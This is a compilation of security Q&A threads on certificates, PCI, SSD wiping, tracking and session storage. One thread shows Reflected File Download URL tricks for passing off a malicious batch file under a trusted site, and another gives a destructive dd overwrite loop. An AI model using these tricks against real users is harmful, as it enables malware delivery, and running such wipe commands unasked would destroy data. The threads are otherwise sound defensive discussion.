Let's Encrypt is based in the US and subject to US laws Let's Encrypt is based in the United States and subject to the laws of the United States, including National Security Letters. What are the implications for foreign sites that use Let's Encrypt?

Here's what I have come up with thus far:

Let's Encrypt could be forced to revoke a certificate
Let's Encrypt could be forced to issue a counterfeit certificate
Let's Encrypt could be forced to keep any activities secret

Furthermore, Let's Encrypt is controlled by the Internet Security Research Group which includes members whose companies are part of the US PRISM program (Google, Facebook, etc).

Good questions all. I can't speak too much to other things they could do, but here's some comment on the ones your brought up:

Yes, they could revoke a certificate. But while this could cause some availability issues for your users, it wouldn't compromise confidentiality or integrity.
Let's Encrypt could issue a counterfeit certificate, but that's why all certificates are reported in the Certificate Transparency log. If you're concerned about this, you could watch for certificates being issued with your domain name that were never in used on your servers.
Again, this is the benefit of Certificate Transparency. Users could cross-check against the CT logs to ensure that any given certificate is valid. This will be slightly less effective than watching for a certificate on your domain, but in theory a rogue certificate could still be identified.

In terms of its impact on Confidentiality and Integrity, I'd be most concerned about a supply-chain attack on the tools that you use the request a Let's Encrypt certificate. The default tool - certbot - requires a great deal of access, because it's also designed to install the certificates in a variety of web servers, and the designers felt that if you are issuing certificates you should be root anyway. Fortunately, the tool is open source with over 300 direct contributors, so slipping something into the tooling would be less likely than say... slipping something into one of the libraries you use for your web application.


What exactly does it mean when Chrome reports 'no certificate transparency information was supplied by the server?' When visiting Gmail in Chrome, if I click on the lock icon in the address bar and go to the connection tab, I receive a message 'no certificate transparency information was supplied by the server' (before Chrome 45, the message was displayed as 'the identity of this website has been verified by Google Internet Authority G2 but does not have public audit records').

What exactly does it mean that the certificate does not have public audit records?  Are their certain threats a site using a certificate without public audit records has that a site using a certificate with public audit records does not?

Note: If you're here because your certificate isn't trusted by Chrome, this is not the reason. Chrome will still trust certificates without CT information. If your certificate isn't trusted, there is an additional factor that you may have missed.

This has to do with the concept of Certificate Transparency.

The Problem

Browsers currently trust certificates if four conditions are met: (a) the certificate is signed by a trusted CA, (b) the current time is within the valid period of the certificate and signing certs (between the notBefore and notAfter times), (c) neither the certificate nor any signing certificate has been revoked, and finally, (d) the certificate matches the domain name of the desired URL.

But these rules leave the door open to abuse. A trusted CA can still issue certificates to people who shouldn't have them. This includes compromised CAs (like DigiNotar) and also CAs like Trustwave who issued at least one intermediate signing certificate for use in performing man-in-the-middle interception of SSL traffic. A curated history of CA failures can be found at CAcert's History of Risks & Threat Events to CAs and PKI.

A key problem here is that CAs issue these certificates in secret. You won't know that Trustwave or DigiNotar has issued a fraudulent certificate until you actually see the certificate, in which case you're probably the perpetrator's target, not someone who can actually do any real auditing.  In order prevent abuse or mistakes, we need CAs to make the history of certificates they sign public.

The Solution

The way we deal with this is to create a log of issued certificates. This can be maintained by the issuer or it can be maintained by someone else. But the important point is that (a) the log can't be edited, you can only append new entries, and (b) the time that a certificate is added to the log is verified through proper timestamping. Everything is, of course, cryptographically assured to prevent tampering, and the public can watch the contents of the log looking to see if a certificate is issued for a domain they know it shouldn't have.

If your browser then sees a certificate that should be in the log but isn't, or that is in the log but something doesn't match (e.g. the wrong timestamp, etc), then the browser can take appropriate action.

What you're looking at in Chrome, then, is an indication as to whether a publicly audible log exists for the certificate you're looking at. If it does, Chrome can also check to see whether the appropriate log entry has been made and when.

How widely is it used?

Google maintains a list of "known logs" on their site. As of this writing, there are logs maintained by Google, Digicert, Izenpe, and Certly, each of which can maintain the audit trail for any number of CAs.

The Chrome team has indicated that EV certificates issued after 1 Jan 2015 must all have a public audit trail to be considered EV. And after the experience gained dealing with EV certificate audit logs has been applied, they'll continue the rollout to all certificate issuers.

How to check the logs

Google added a Certificate Transparency lookup form to their standard Transparency Report, which means you can now query for the domains you care about to see which certificates for those domains show up in the transparency logs. This allows you to see, for example, which certificates out there are currently valid for your domain, assuming the CAs cooperate.

Look for it here: https://www.google.com/transparencyreport/https/ct/

Remember that if you want to track a given domain name to be alerted when a certificate is updated, then you should follow the logs directly. This form is useful for doing point-in-time queries, not for generating alerts.


Is any systematic method that can detect weak cryptographic algorithm in source code Weak cryptographic algorithm should be removed from source code to avoid a false sense of security(for example: MD5. Of course, there is possibly the algorithm in source code, but it doesn't use the name "MD5"), however, is any systematic method/tool that can detect weak encryption algorithm in source code first? The source code language are Java and C.

First of all, md5 is a hash function, not an encryption function.

As to hash functions that are considered broken:

There are only a few - a simple egrep might spit out some offending source files given the right expression.
As to ciphers:

strong ciphers:

As this recent question demonstrates, most of the time the problem is not the actual encryption used but that it is used in the wrong way, without sufficient understanding of the matter.

This cannot be detected sufficiently good, because the problems are often introduced in a very subtle way, where e.g. only the variable names hint at a problem.
weak ciphers (or weak modi, like ECB) may be put on the same black list string file that is used to search for md5 et al.

Secondly, as I come to think of it: md5 has legitimate use cases other than secure hashing (which it is not quite as good in).

Also, you say

  Weak cryptographic algorithm should be removed from source code to avoid a false sense of security

wich I not quite get: where does the false sense of security come from? End users rarely look at sources - and if they do, they most likely can spot what you could detect very quickly. The developers of the sources should know better. If that is a problem, you rather want to educate the developers than scanning their sources for weak crypto use.


Backup procedure for PCI Our company is does not store any credit card details but we do transmit them. We are storing it in a cloud platform which is already PCI compliant.

We just require to access the Cloud portal from our company. I understand we need to be PCI compliant as well.

But regarding the backup, we need to backup the log management.
My question is, do we still require to store the backup offsite? Or is it ok if we store it locally?

Page 10 of the PCI DSS v3.1 states:

  "The PCI DSS security requirements apply to all system components included in or connected to the cardholder data environment. The cardholder data environment (CDE) is comprised of people, processes and technologies that store, process, or transmit cardholder data or sensitive authentication data."

So your systems are indeed in scope for PCI because they transmit cardholder data.

Since all the cardholder data is stored by your cloud provider you don't have to worry about any storage requirements for the cardholder data (encryption and key management).

You DO however have to worry about your logging. Since your machines are used to connect to the CDE they're brought in scope. Logs of all in scope systems COULD be stored locally on each end point, but enforcing the rest of the requirements for logs becomes very hard if they're not centrally managed.

Requirement 10.5:

  Secure audit trails so they cannot be altered.

Requirement 10.7:

  Retain audit trail history for at least one year, with a minimum of three months immediately available for analysis (for example, online, archived, or restorable from backup).

You don't have to store log backups off site and depending on your companies risk assessment it might not be cost effective to do so, but I would highly recommend storing them on a centrally managed system that is access controlled.

Edit - added clarification about 9.5.1 so people don't have to sift through comments (Thanks @SilverlightFox)

The heading for requirement 9 states

  “Media” refers to all paper and electronic media containing cardholder data.

Since there isn't any cardholder data being backed up or even stored in the first place requirement 9.5.1 would be N/A because the "media" doesn't contain cardholder data.


Can mobile phone data be intercepted or compromised? I was reading this question today: Does KRACK mean that wifi cafes will never be safe again? and thought to myself.. OK I will just use mobile data instead of public wifi's.
But then my next question was, how can I guarantee that my mobile data cannot be intercepted.
Doing a bit of internet searching I found articles such as this one: HACKER SPOOFS CELL PHONE TOWER TO INTERCEPT CALLS
which says things like:

The device tricks the phones into disabling encryption and records
call details and content before they're routed on their proper way
through voice-over-IP.

But this talks about calls in particular.
Can the same be done to data?
i.e. HTTPS and E2EE messages?
E.g.
I visit https://www.WebsiteThatRequiresaPassword.com on my mobile via mobile data and type my username and password in, can someone intercept and read my password?

First of all KRACK is only at the WiFi level. An attacker gets no more access to data than the operator of the wireless access point would. You probably shouldn't be trusting random cafes more than the average stranger. HTTPS even over a compromised router should still be secure.

Now, on a mobile connection. The short answer is yes - data that is not sent encrypted at a higher level (i.e https) can be read.

The easy option for a false base-station is force your phone to 2G which isn't encrypted.
3G encryption has multiple known weaknesses.
4G encryption should be OK. But its only from the phone to the basestation. A malicious carrier (either themselves or by allowing access to other actors) or someone who manages to read data from the carriers backbone network can get just as much as with KRACK.

  I visit https://www.WebsiteThatRequiresaPassword.com on my mobile via mobile data and type my username and password in, can someone intercept and read my password?

As long as the username and password is sent over HTTPS  (the fact the inital page load was over HTTPS does not guarantee this although some browsers would now warn you if it didn't) and you trust all CAs for which your device has stored root certificates then no they cannot intercept it. The fact it was sent over mobile data is irrelevant.


Atypical DRM situation: distribute pictures to select partners, then prevent them from reusing them We want to distribute digital content (think pictures) to a select number of partners (around 1000, worldwide) to use as visual reference. We would like however to prevent them from copying or in any way reusing this content. Or, if they do, to be apparent that this is not the original source of the content. Until now we distribute CDs with a specific reading application that takes control of your system (thus disables screen capture etc.) and only then allows content to be decoded (no encryption though) and presented.
I was wondering if it would be possible to move this process online.

The requirements  and possible corresponding solutions would be:

Selective access -> login/password, perhaps a hardware token or
other way of two-factor authentication
Disallow reuse of images-> watermarking, preferably indicating the specific user accessing the information

Other solutions one could employ? Or better, any suggestion for a different distribution model? Is perhaps online distribution broken from start?

On a general basis, proactive measures do not work. For instance, your "specific reading application" is defeated by using virtualization: the guest operating system and its applications (including your reading application) believe that they have full control of the machine, but the machine is not a real one, and the host can easily keep screenshots at will. Also, see KVM over IP devices: from the point of view of the connected machine, such a device is a normal display, but screen contents are then sent over TCP/IP, making screenshots a piece of cake.

The best that you can hope for, realistically, is to make aware your users that reusing the pictures is not allowed. I mean this in a legal way: if they must go through various hoops such as virtualization to copy the contents, then at least they will not be able to claim that they did it "in good faith". Even this will be hard; for instance, if you send me a Windows-only application on a CD, I will have to use virtualization to run it, since my main machine does not have any Windows.

Once you have your legal tools, there remains the problem of detecting unauthorized reuse of the pictures. For reuse "on the Web", the tool to use is watermarking: embedding some data within pictures, in a way which does not degrade (too much) image quality, but resists various treatments which can be done on the pictures, such as cropping, recompression or adjusting colour balance. This is a hard problem; there are various commercial solutions of questionable robustness. The name is quite adequate: this is akin to "writing on water". Assuming that you have a secure watermark in your pictures, the "only" remaining task is to roam the Web, downloading all the pictures, and looking for the watermark; if detected, send a lawyer squad at the offender.


Sending httpOnly cookie also in HTTP response body I've done some researches on this topic, and I found this question on SE:
Sending session cookie inside the HTTP response body

But this answered my question just in part.

On login, my server will create a httpOnly cookie, and also put this authorization token in the response body. This is because my server handles normal HTTP requests from a browser, and also provides RESTful APIs.

In case of an API request, the client will found the token in the response body and use it accordingly. (I believe that the cookie won't be received because the request is not made through a normal browser, correct me if I am wrong.)

In case of a browser request, the token will be received as a httpOnly cookie, but also in the response body. My doubt is: wouldn't this just nullify the fact of using an httpOnly cookie, since I'm also sending the token in the response body?

The problem arises because I need to handle also API calls, which is why I send the token in the response body.

I hope my question is clear.

If you're able to send the token in the request body, it must be stored somewhere script-accessible (probably in session or local storage). If it's stored somewhere script-accessible, then there is literally no point having the cookie be HttpOnly.

HttpOnly is only barely a security measure to begin with - for most exploitation scenarios, it might limit the damage or make exploitation harder, but XSS can still easily be catastrophic for the user - and it only makes sense at all if the cookie value is never exposed to script anywhere else. Since that doesn't apply here, the HttpOnly flag is pointless.


Reflected file download Scenario I'm making a Java-based web application that is intentionally vulnerable to Reflected File Download (RDF). White paper is here  I read the requirements of reflected file download vulnerability as being:

User has control over the file name (filename in content-disposition header is missing).
app uses values found in URL (or other places controlled by user) to create content of file.  In other words, some user input is being "reflected" to the response content.
response is being downloaded (instead of rendered in browser) and a file is 'created on the fly' i.e. programatically.

I have a servlet named FileDownload and I don't specifying the filename in the content-disposition header:

   response.setHeader("Content-Disposition","attachment");

In an ordinary request (http://localhost:8080/FileDownload), I get a file named FileDownload as expected  (though, it has a .sql extension for reasons I do not understand)

The pdf says,

  Adding a "/" to the end of the path portion followed by a desired
  filename and extension is supported cross browser.

but I did not immediately get this behavior, instead it could not find that resource.  So, I changed my web.xml from

<url-pattern>/FileDownload</url-pattern>

to

<url-pattern>/FileDownload/*</url-pattern>

and that enabled the behavior described above in the URL: http://localhost:8080/FileDownload/Setup.bat. So, the url-pattern has to be extra permissive for this to work?

The paper also asserts that all "This type of file could harm your computer..." warnings are "dismissed" if one of the following strings appear in the filename:  Install, Setup, Update, Uninst.  I did not see this behavior.  Has this been changed since the article was released?

The point of RFD is abusing the trust of certain sites and if I can make arbitrary files look like they are coming from a trusted site, I get to bypass certain warnings. (Is it my browser that already trusts certain sites or is it the user or both?)

I was surprised to see that semi-colon patterns such as

http://localhost:8080/FileDownload;/Install.bat

http://localhost:8080/FileDownload;/Install.bat;Install.bat

work as described in the paper.  However, if I can achieve the same result with http://localhost:8080/FileDownload/Install.bat, then under what scenario would I need to do the semi-colon hack?

To make any of this work, I also had to set my browser to automatically download files without asking me where to save them.

The point of RFD is abusing the trust of certain sites and if I can make arbitrary files look like they are coming from a trusted site, I get to bypass certain warnings. (Is it my browser that already trusts certain sites or is it the user or both?)

I think it is only meant as in the user will look at the downloaded file and think "Oh, it did come from www.google.com, so it should be safe", and then execute it. But I could be wrong.

  However, if I can achieve the same result with http://localhost:8080/FileDownload/Install.bat, then under what scenario would I need to do the semi-colon hack?

Did you use IE / Firefox? The paper states in section 2.2.2 that the "hack" is only needed for Chrome / Opera. (But then again, you seem to have solved it without using a single ";", which was not described in the paper. The paper does however state "Of course, that application specific URL parsing could lead to other characters
acceptable as separators in the path portion of the URL.").


Reinstalled Windows 8. Is the computer vulnerable during the wait for updates? After re-installing Windows 8.1, during the wait for updates of an hour or more, is the computer vulnerable to being hacked (if it's running the Windows Firewall and an Anti-Virus program)?

Short answer - yes it is.

Would I worry about it? No, not really. The chance of it being discovered and exploited within that timeframe is not very high.

However, if you're being targeted continuously or already have infected systems on your network, your chances just skyrocketed.


Are legal notices in a login banner legally significant in terms of computer misuse? Is there any case-law where having or not having a legal notice (example here) in the login banner of a system of nay kind made a difference in prosecution? The question is in consideration both of "hacking" - "you must not access without authorization" and privacy  - "everything is monited, no privacy expectations".

You should check out "Offensive Countermeasures: The Art of Active Defense" by John Strand / Paul Asadoorian.

There is an entire chapter early in the book that covers the importance of login banners, including case law.

These are a few of the examples included.

US vs. Heckenkamp (alternative write-up)
eHippie vs the World Trade Organization
Susan Clements-Jeffrey vs Absolute Software (forbes summary)


How to configure NAXSI to accept JSON format in REST APIs? For example, one of my APIs is:

Post request: /api/v0/login body:

{
"username":"xxx@ggg.com",
"password":"eeeee"
}

I want to secure this API with NAXSI, but I could not find anywhere to config NAXSI to accept JSON in body (it supposes that there is SQL injection code in the body).

Try disabling the following rules from naxsi_core.rules:

id:1001 (double quotes)
id:1015 (comma)

That should work :)


Is it enough to only wipe a flash drive once? According to the documentation for the "diskscrb" command for wiping conventional hard drives: http://www.forensics-intl.com/diskscrb.html

"Conforms to and exceeds the Government Standard set forth in DoD 5220.22-M. Can overwrite ambient data areas 9 times. (Each pass involves 3 separate writes followed by a verify pass.) This helps eliminate the potentials for the recovery of Shadow Data."

So it's ok to wipe the HDDs at least  9 times as mentioned. But how about SSDs and USB flash drives? Do I have to wipe the data on them 9 times, or is it only needed once?
Here is what I use to regularly delete the data from my memory cards, USB flash drives, etc. (I start it in the evening, and stop in the morning, e.g.: it overwrites my USB flash drive 10 times):
loopcountdd=0;
while [ 1 = 1 ];
do (( loopcountdd= $loopcountdd + 1 ));
dd if=/dev/urandom bs=4096 | pv | dd bs=4096 of=/dev/XXX;
echo "overwritten: $loopcountdd x";
done

This question was IT Security Question of the Week.
Read the Aug 3, 2011 blog entry for more details or submit your own Question of the Week.

Best stop doing that. Never overwrite an SSD/flash storage device completely in order to erase it, except as a last resort.
NVRAM has a limited amount of write cycles available. At some point, after enough writes to an NVRAM cell, it will completely stop working. For modern versions, we're in the ballpark of an estimated lifespan of 3,000 write cycles.
Furthermore, internally SSDs look nothing like traditional hard disks. SSDs have the following unique properties:

Spare area, often on the order of 8% - 20% of the total flash is set aside for wear leveling purposes. The end user cannot write to this spare area with usual tools, it is reserved for the SSD's controller. But the spare area can hold (smaller) amounts of old user data.

A "Flash Translation Layer", FTL. How your operating system 'sees' the SSD (LBA addresses) and the actual NVRAM address space layout has no correlation at all.

Very heavy writing to a consumer-grade SSD may bring the controller's garbage collection algorithm behind, and put the controller into a state of reduced performance. What happens then depends on the controller. In an extreme worst case scenario, it cannot recover performance. In a much more likely scenario it will slowly regain performance as the operating system sends "trim" commands.

Lastly, from the conclusion of the paper "Reliably Erasing Data From Flash-Based Solid State Drives": "For sanitizing entire disks, [...] software techniques work most, but not all, of the time."
So when you're completely overwriting flash storage, you may be performing an effective secure wipe -- but, you may also be missing some bits. And you're certainly consuming quite much of the drive's expected life span. This isn't a good solution.
So, what should we be doing?

The 'best' modern drives support a vendor-specific secure erase functionality. Examples of this are Intel's new 320 series, and some SandForce 22xx based drives, and many SSDs which are advertised as having "Full Disk Encryption" or "Self Encrypting Drive". The method is generally something along the lines of:

The SSD controller contains a full hardware crypto engine, for example using AES 128.
Upon first initialization, the controller generates a random AES key, and stores this in a private location in NVRAM.
All data ever written to the drive is encrypted with the above AES key.
If/when an end user performs a secure wipe, the drive discards the AES key, generates a new one, and overwrites the old AES key position in the NVRAM. Assuming the old AES key cannot be recovered this effectively renders the old data unrecoverable.

Some drives don't have the above, but do support the ATA Secure Erase commands. This is were it gets more tricky -- essentially we're relying on the drive manufacturer to implement a 'strong' secure erase. But it's a black box, we don't know what they're actually doing. If you need high security, then you should not rely on this, or at least you should read the tech docs and/or contact the drive manufacturer to verify how secure their method is. A fair guess as to what they're doing / ought to be doing is that:

While the drive isn't using a full cryptographic cipher such as AES, it is still using extensive data compression algorithms & checksumming & RAID-like striping of data across multiple banks of NVRAM. (All modern high-performance SSDs use variants of these techniques.) This obfuscates the user data on the drive.
Upon receiving an ATA Secure Erase command, the drive erases its "Flash Translation Layer" table, and other internal data structures, and marks all NVRAM as freed.

My personal recommendations:

If you just need an insecure wipe of an SSD, then use the manufacturer's end user tools, or use the ATA Secure Erase command via for example hdparm on Linux.

If you need secure wipe then either:

Only use drives which explicitly advertise secure wipe via strong (AES) encryption, and run the manufacturers secure wipe. and/or:
Ensure that all data you write to the drive is encrypted before hitting the drive. Typically via software full disk encryption such as PGP Whole Disk Encryption, TrueCrypt, Microsoft BitLocker, BitLocker To Go, OSX 10.7 FileVault or LUKS. or:
Physically destroy the drive.


Where to start with api security testing? I have the backend api of an iOS application. I would like learn api testing on this.

How to begin with api security testing?Please suggest some tutorials and tools available online.

Tips to ensure that your APIs are fully security tested :

Automate: Most of the testing approaches for security vulnerabilities that we have covered can be automated (here’s a tool to help you do so); and should definitely be done so – preferably against your production environment in some way. A system upgrade or server reconfiguration could be just as much a cause for a security vulnerability as bad development in the code of your APIs – and you definitely want to find out if such changes open up for unexpected vulnerabilities before anyone else.

Stay on top: OWASP provides invaluable services and information on Internet related security vulnerabilities – and how to work against them. Make it a habit to check out their website and match their recommendations and findings against your APIs and infrastructure. Follow their guidelines – specifically those geared at APIs – and make sure you are doing what you can base on their resources.

Finally – It’s your problem: Security is probably not going to be fixed or worried by anyone else than you, – make sure you give it the same attention and focus as you do to functional, performance, usability, A/B testing, etc. The price to pay for leaked passwords or erased user data is too high to pay for you not to care (which I know you do).

Visit this, page it tell you how you can do security check on your API's


How did EternalBlue bypass firewalls? I've tried recently to run the EternalBlue exploit via metasploit (on VirtualBox lan), and I've spotted that if the victim PC uses the most naive windows-firewall than the attack would fail. That got me thinking - how initially attackers used this exploit to run WannaCry-like ransomware, how did they bypass firewalls to execute the exploit ?

EternalBlue requires network connectivity to SMB on the target, so if the Windows Firewall (or any firewall between attacker and target) is blocking that access, the attack will fail.

Ransomware like Wannacry depended on the fact that most organizations do not run host firewalls like Windows Firewall on their systems.


Web application software architecture: basic security I am a complete beginner in the security topic and I know that I should read this, but I have a small question to which I hope exists a short answer.

Let's say I have three components of a web-application 'talking' to each other:

a front-end;
a database;
a storage component.

Each of the components resides on a physically distinct machine which has a connection to the Internet.

How then a front-end machine can connect to the database machine in a secure manner? How can the database machine know it is the front-end machine connecting and not an attacker?

Is there any 'best practice' to connect two components in a physically distributed system in such a secure manner, that only certain components are allowed to access other certain components while all the other sources are restricted to access those components?

The standard solution here actually makes use of three tiers, independent of the server, where you have an Internet-facing web tier/server (presentation layer only), then an application tier/server (business logic of your app), and then a database tier/server (storage).

A firewall sits in front of your web server and only allows web (http and/or https) traffic in. Another firewall then sites between you web server and your application server and only allows the protocols necessary for your app to function to pass through and only from the web server(s). The web server is, in effect, isolated between two firewalls in what we call a DMZ and the interfaces both from the Internet into the DMZ and from the DMZ into the internal network are tightly controlled so that only expected protocols pass and only to/from expected hosts. But...ONLY the web tier should be accessibly from the Internet, and only using the protocols that are necessary (HTTP and/or HTTPS). The application server should not be, and the database and/or storage should ABSOLUTELY not be accessibly from the Internet. The idea here is that only the front-end, web tier, should ever be accessible from the Internet...all connections to the application tier should come from the web tier and all connections to the database tier should come from the application tier.

You can make this stronger by deploying mutually-authenticated SSL/TLS between the tiers.

Microsoft has a good write-up on this that is here. It includes a bunch of .NET/ASP stuff, but the general idea is platform-agnostic.


Best way to learn every way I am tracked online? Is there a course or resource for a person with basic networking skills to see all ways a website like FB or Google can track and identify users + how to spoof them and look natural? Not for malicious activity just feel frustrated by the lack of information available on this online. Like, let's say I have 2 devices on 2 wifi networks. A website like FB would be able to separate them as 2 legit individuals through browser fingerprinting / IP detection / Cookies etc. I want to learn how to emulate this on one device on one wifi network while remaining as natural as the 2 user case.

Some resources for you to play with, focussed mostly at the application layer:

https://browserleaks.com
https://amiunique.com
https://panopticlick.eff.org/
https://prism-break.org/en/
https://www.privacytools.io/
https://security.stackexchange.com/questions/tagged/tracking
https://security.stackexchange.com/questions/tagged/privacy

Instal the uMatrix add-on in your browser, to get a feel for how it all works on your favourite websites, but also be aware that development has now ended. Study tracking techniques that are tested by the resources I linked to above; Doles 2020 https://performancein.com/news/2020/09/15/first-party-vs-third-party-tracking-cookies-what-they-are-and-why-you-should-drop-them/ gives a good overview of the various techniques.
Read up on VPNs, and consider using a paid-for service .. repeat after me: "There's no such thing as a free VPN!" https://thatoneprivacysite.net/ .. but while you're at it, be aware of the limitations: from Proceedings of privacy enhancing technologies, Pulls and Dahlberg 2020 https://petsymposium.org/2020/files/papers/issue1/popets-2020-0013.pdf

Website Fingerprinting (WF) attacks are a
subset of traffic analysis attacks where a local passive attacker attempts to infer which websites a target victim is visiting over an encrypted tunnel ...

If you're on your android phone, consider installing a software firewall, eg: NetGuard, which runs as a VPN to capture traffic. (This will be incompatible if you're using another VPN on your phone, as VPN can't be 'chained' that I know of.)
Another option is to check out AF-Wall which works on iptables (for the most part I think this one requires root on your phone to get access to the iptables binary, but may not in some cases).
I'll assume you're considering isolating your browser inside a VM, based on your other question today. Make sure your host is only exposing a generic L2-network interface to the guest(s).
Better yet, if you're using wifi, and you leak your nearby SSIDs 'somehow', then you can be placed in a populated area to within 25 yards or even less - how can you trust that your browser isn't relaying this information? Your kernel? Consider switching to wired ethernet for your connectivity - for the most part, it's easier than you think. Disable wifi in the hardware - yep, rip that f***er out and don't look back! Lounging on the couch doing 'research' only leads to crippling rsi in the long run, anyway!


Spear phishing data set Are there any existing data sets of spear phishing emails available?

I've found a bunch of data sets of phishing emails, but that's not what I'm looking for.  I'm not looking for mass phishing campaigns.  Rather, I'm interested in spear phishing: targeted social engineering emails.  I've checked phishing archives, like Phishtank, but haven't found any that have separated out the ones that are targeted.  My goal is to study what real spear phishing emails, as observed in the wild, look like.

I don't think you will find a data set with the original mails, since they are usually too sensitive. But you will find lots of indicators how these mails look like or what they contain in the various reports:

The APT28 report by Mandiant documents use of Excel documents with back door and use of links with domain names visually similar to trusted domains.
A report from Usenix 2014 A Look at Targeted Attacks Through the Lense of an NGO researches the use of spear-phishing mails against NGO's in Asia and gets some insight into the techniques used.
The analysis of Careto by Kaspersky also has some details about the used spear-phishing mails, like that they don't contain the exploit but instead use links which look like trusted links.
A report by ArborNetworks documents spear-phishing mails with various attachments (7z, rar, exe..) and which use left-to-right-override or Icons in exe to hide the real file type.
The use of CVE-2014-4114 RCE in spear-phishing mails was documented by TrendMicro and others.
Using Decoy documents in spear-phishing mails in the Siesta Campaign.

From looking at these reports I would say they are not that different from the normal phishing mails, which got already very sophisticated. The main difference is that spear-phishing is more targeted. That means it has less recipients, has more content which should be relevant to the recipients and might make more use of unknown exploits to evade detection.


Network traffic analyzer for Video I am going to be streaming video on an open network. I need the simplest network traffic analyzer that would enable me to know when the video is stopped and started from another system on the same network.

One of the easiest ways to do this is to use WireShark and setup filter colors for video encoding streams. This way you only have to look at the colors of the current traffic to see the video.

You could also colorize your ip traffic in green and video streams from other IP's in another color such as red.

Note: there are several other ways to do this in WireShark.

https://www.wireshark.org


When Activesync policy is applied to iPhones allows thumbprint-unlock, while Android does not. Which is correct? We have a long-standing ActiveSync device policy that requires an unlock code for all phones that use corporate email.

It seems that iPhones with "swipe to unlock" and Android phones with similar technology process this policy different: iPhones allow a swipe to unlock feature, while Android does not.

Is "swipe to unlock" just as secure as a pin code?
Is the iPhone swipe to unlock hardware / software "better" than Android's comparable feature?
Can the Android thumbprint unlock be enabled by the end user / administratively enabled?
Can we disable the thumbprint on iPhones?

ActiveSync is just a protocol and an expensive license to use certain patents. Each ActiveSync licensee writes their own code, and it is up to them how they handle provisioning policies.

My understanding is that the iOS ActiveSync client considers enabling TouchID to be secure enough to meet any password lock requirements set by policy.

Microsoft have talked about adding a policy option to disallow biometrics, but even if they did, individual clients don't have to implement it.


Isn't MongoDB actually storing plaintext passwords? According to the documentation at
http://docs.mongodb.org/meta-driver/latest/legacy/implement-authentication-in-driver/:

The driver then runs the authenticate command for the database on which to authenticate.
The authenticate command has the following syntax:
db.runCommand( { authenticate : 1, user : <username>, nonce : <nonce>, key : <digest> }

<username> is a username in the database’s system.users collection.
<nonce> is the nonce returned from a previous getnonce step.
<digest> is the hex encoding of an MD5 message digest.
The MD5 message digest is the MD5 hash of the concatenation of <nonce>, <username>, <password_digest>.
The <password_digest> is the value in the pwd field associated with the <username> in the database's system.users collection.  The pwd is the hex encoding of MD5( <username> + ":mongo:" + <password_text> ).

This means that the hashing is actually done client-side, as the driver is part of the client for the database connection.  In order to authenticate, the client does not need to demonstrate knowledge of the password but of the stored hash.  So, the real password is the stored hash, which just happens to have been generated through hashing something.  That real password is stored in plaintext in the pwd field of system.users.
Am I reading that wrong?  Is there a way to secure this authentication?

In a sense, that can be considered correct.

From what I understood from the MongoDB documentation, the db.addUser() expects one to pass in an already hashed password. This is clearly seen from the documentation of the function, where the expected data type of the pwd field is hash.

I read this as MongoDB expecting the system to perform the hashing prior to registration or authentication of users in the database. This makes sense when you consider that the MongoDB user most likely isn't going to be typing the password hash by hand. The use case for these user accounts are as authentication credentials for applications so the passwords are most certainly going to be stored in a configuration file somewhere.

The enterprise version of MongoDB supports the use of Kerberos for authentication. The steps to setup Kerberos can be found in the documentations as well. If you are really worried about this as a security factor, you should look into setting up Kerberos.


How to Cryptographically verify a request comes from a trusted server Say I have a central server whose job it is to tell a load of my other servers what to do. These other servers are running API's listening for instructions from my central server.

How can I cryptographically guarantee, on my listening servers that a request originates from a central server?

The listening server must only be able to verify that the request originates from my central server, it must not be able to also sign or encrypt requests, only decrypt or verify the signature.

Anything on the listening server can be pre-distributed before the server is deployed.

What are my best options in this case? SSL Certificates, Public Key/Private Key, something else? How would I go implement it (high level explanation)

Your central server generates a public/private key pair.  The public key is distributed to all the listening servers, the private key is kept, um, private.

Any command send by the central server is signed with its private key.  The first thing the listening server does when it receives a command is verify the signature (using the public key).  If the verification fails, write to the error log, and ignore the command.


How to secure MySQL based web session data table? I have the following MySQL session schema:

CREATE TABLE `SessionData` (
  `id` varchar(50) COLLATE utf8_unicode_ci NOT NULL,
  `data` text COLLATE utf8_unicode_ci,
  `date` datetime DEFAULT NULL,
  PRIMARY KEY (`id`),
  KEY `date` (`date`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci

So I want to prevent users reading each other session data via e.g. SQL Injection.
I want to secure it using MySQL view, procedure or something like this.
Is there is some common, secure way to do it? I think it's common thing to do, as with this and remote shell it's difficult to overwrite anything on the server, except for it's own session data, but not the files and the SQL and SQL Session, so it's like read only, but with write only to it's own row.

I make a single column, single row data set:

CREATE TABLE `SessionId` (
  `id` varchar(50) COLLATE utf8_unicode_ci DEFAULT '',
  UNIQUE KEY `id` (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;

I insert an empty string into it:

INSERT INTO SessionId (id) VALUES ('');

So then I can create a view. In this case it's using "frontuser", as MySQL user.

DELIMITER $$
DROP VIEW IF EXISTS `SessionView`$$

CREATE ALGORITHM=UNDEFINED DEFINER=`root`@`%` SQL SECURITY DEFINER VIEW `SessionView` AS (
SELECT
  `SessionData`.`id`   AS `id`,
  `SessionData`.`data` AS `data`,
  `SessionData`.`date` AS `date`
FROM (`SessionId`
   JOIN `SessionData`
     ON ((`SessionId`.`id` = `SessionData`.`id`))))$$

DELIMITER ;

How to INSERT session:

INSERT INTO SessionView (id, `data`, `date`)
VALUES (
    HEX(AES_ENCRYPT("Cookie Value", "Random Key from Config")),
    HEX(AES_ENCRYPT("128bit random block + Session Data", "Random Key from Config")),
    NOW());

How to Check Session

BEGIN;
UPDATE SessionId SET id = HEX(AES_ENCRYPT("Cookie Value", "Random Key from Config"));
SELECT AES_DECRYPT(UNHEX(`data`), "Random Key from Config") FROM SessionView;
UPDATE SessionId SET id = '';
COMMIT;

So I grant only SELECT, UPDATE and INSERT to SessionView view. Since the keys are randomized and there is no way to extract all keys, I can create the session but I cannot browse them all.

One of the biggest security threats of storing session data in the database is that an attacker can use SQL Injection to obtain the Session id and use that to authenticate instead of cracking a password hash.  The solution is to encrypt the session id. MySQL's aes_encrypt() is not a bad choice for this data type even though its ECB mode.  Because the session id is random you don't have to worry about a repeated plain text with your encryption key (CBC+Random IV usually solves this problem).  A hashes session id might be easier depending on your deployment.

Keep in mind that you have to keep the encryption key somewhere and an attacker maybe able to read it using the load_file() MySQL function with SQL Injection.  Make sure file_privs are disabled for the MySQL user account that your web application uses.

